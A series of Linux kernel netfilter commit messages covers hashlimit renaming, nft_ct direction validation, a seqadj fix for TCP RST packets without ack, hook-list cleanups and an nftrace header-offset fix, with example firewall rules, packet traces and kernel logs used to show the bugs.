I am planning to add a revision 2 for the hashlimit xtables module to
support higher packets per second rates. This patch renames all the
functions and variables related to revision 1 by adding _v1 at the
end of the names.
Signed-off-by: Vishwanath Pai <vpai@akamai.com>
Signed-off-by: Joshua Hunt <johunt@akamai.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
NFT_CT_MARK is unrelated to direction, so if NFTA_CT_DIRECTION attr is
specified, report EINVAL to the userspace. This validation check was
already done at nft_ct_get_init, but we missed it in nft_ct_set_init.
Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Currently, if the user want to match ct l3proto, we must specify the
direction, for example:
# nft add rule filter input ct original l3proto ipv4
^^^^^^^^
Otherwise, error message will be reported:
# nft add rule filter input ct l3proto ipv4
nft add rule filter input ct l3proto ipv4
<cmdline>:1:1-38: Error: Could not process rule: Invalid argument
add rule filter input ct l3proto ipv4
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Actually, there's no need to require NFTA_CT_DIRECTION attr, because
ct l3proto and protocol are unrelated to direction.
And for compatibility, even if the user specify the NFTA_CT_DIRECTION
attr, do not report error, just skip it.
Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
It is valid that the TCP RST packet which does not set ack flag, and bytes
of ack number are zero. But current seqadj codes would adjust the "0" ack
to invalid ack number. Actually seqadj need to check the ack flag before
adjust it for these RST packets.
The following is my test case
client is 10.26.98.245, and add one iptable rule:
iptables -I INPUT -p tcp --sport 12345 -m connbytes --connbytes 2:
--connbytes-dir reply --connbytes-mode packets -j REJECT --reject-with
tcp-reset
This iptables rule could generate on TCP RST without ack flag.
server:10.172.135.55
Enable the synproxy with seqadjust by the following iptables rules
iptables -t raw -A PREROUTING -i eth0 -p tcp -d 10.172.135.55 --dport 12345
-m tcp --syn -j CT --notrack
iptables -A INPUT -i eth0 -p tcp -d 10.172.135.55 --dport 12345 -m conntrack
--ctstate INVALID,UNTRACKED -j SYNPROXY --sack-perm --timestamp --wscale 7
--mss 1460
iptables -A OUTPUT -o eth0 -p tcp -s 10.172.135.55 --sport 12345 -m conntrack
--ctstate INVALID,UNTRACKED -m tcp --tcp-flags SYN,RST,ACK SYN,ACK -j ACCEPT
The following is my test result.
1. packet trace on client
root@routers:/tmp# tcpdump -i eth0 tcp port 12345 -n
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
IP 10.26.98.245.45154 > 10.172.135.55.12345: Flags [S], seq 3695959829,
win 29200, options [mss 1460,sackOK,TS val 452367884 ecr 0,nop,wscale 7],
length 0
IP 10.172.135.55.12345 > 10.26.98.245.45154: Flags [S.], seq 546723266,
ack 3695959830, win 0, options [mss 1460,sackOK,TS val 15643479 ecr 452367884,
nop,wscale 7], length 0
IP 10.26.98.245.45154 > 10.172.135.55.12345: Flags [.], ack 1, win 229,
options [nop,nop,TS val 452367885 ecr 15643479], length 0
IP 10.172.135.55.12345 > 10.26.98.245.45154: Flags [.], ack 1, win 226,
options [nop,nop,TS val 15643479 ecr 452367885], length 0
IP 10.26.98.245.45154 > 10.172.135.55.12345: Flags [R], seq 3695959830,
win 0, length 0
2. seqadj log on server
[62873.867319] Adjusting sequence number from 602341895->546723267,
ack from 3695959830->3695959830
[62873.867644] Adjusting sequence number from 602341895->546723267,
ack from 3695959830->3695959830
[62873.869040] Adjusting sequence number from 3695959830->3695959830,
ack from 0->55618628
To summarize, it is clear that the seqadj codes adjust the 0 ack when receive
one TCP RST packet without ack.
Signed-off-by: Gao Feng <fgao@ikuai8.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
The netfilter hook list never uses the prev pointer, and so can be trimmed to
be a simple singly-linked list.
In addition to having a more light weight structure for hook traversal,
struct net becomes 5568 bytes (down from 6400) and struct net_device becomes
2176 bytes (down from 2240).
Signed-off-by: Aaron Conole <aconole@bytheb.org>
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
This commit adds an upfront check for sane values to be passed when
registering a netfilter hook. This will be used in a future patch for a
simplified hook list traversal.
Signed-off-by: Aaron Conole <aconole@bytheb.org>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
All of the callers of nf_hook_slow already hold the rcu_read_lock, so this
cleanup removes the recursive call. This is just a cleanup, as the locking
code gracefully handles this situation.
Signed-off-by: Aaron Conole <aconole@bytheb.org>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
The origin codes perform two condition checks with dst_mtu(skb_dst(skb))
and in_mtu. And the last statement is "min(dst_mtu(skb_dst(skb)),
in_mtu) - minlen". It may let reader think about how about the result.
Would it be negative.
Now assign the result of min(dst_mtu(skb_dst(skb)), in_mtu) to a new
variable, then only perform one condition check, and it is more readable.
Signed-off-by: Gao Feng <fgao@ikuai8.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
We already checked for !found just a bit before:
if (!found) {
regs->verdict.code = NFT_BREAK;
return;
}
if (found && set->flags & NFT_SET_MAP)
^^^^^
So this redundant check can just go away.
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
It's better to use sizeof(info->name)-1 as index to force set the string
tail instead of literal number '29'.
Signed-off-by: Gao Feng <fgao@ikuai8.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
There are some codes which are used to get one random once in netfilter.
We could use net_get_random_once to simplify these codes.
Signed-off-by: Gao Feng <fgao@ikuai8.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
pkt->xt.thoff is not always set properly, but we use it without any check.
For payload expr, it will cause wrong results. For nftrace, we may notify
the wrong network or transport header to the user space, furthermore,
input the following nft rules, warning message will be printed out:
# nft add rule arp filter output meta nftrace set 1
WARNING: CPU: 0 PID: 13428 at net/netfilter/nf_tables_trace.c:263
nft_trace_notify+0x4a3/0x5e0 [nf_tables]
Call Trace:
[<ffffffff813d58ae>] dump_stack+0x63/0x85
[<ffffffff810a4c0b>] __warn+0xcb/0xf0
[<ffffffff810a4d3d>] warn_slowpath_null+0x1d/0x20
[<ffffffffa0589703>] nft_trace_notify+0x4a3/0x5e0 [nf_tables]
[ ... ]
[<ffffffffa05690a8>] nft_do_chain_arp+0x78/0x90 [nf_tables_arp]
[<ffffffff816f4aa2>] nf_iterate+0x62/0x80
[<ffffffff816f4b33>] nf_hook_slow+0x73/0xd0
[<ffffffff81732bbf>] arp_xmit+0x8f/0xb0
[ ... ]
[<ffffffff81732d36>] arp_solicit+0x106/0x2c0
So before we use pkt->xt.thoff, check the tprot_set first.
Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
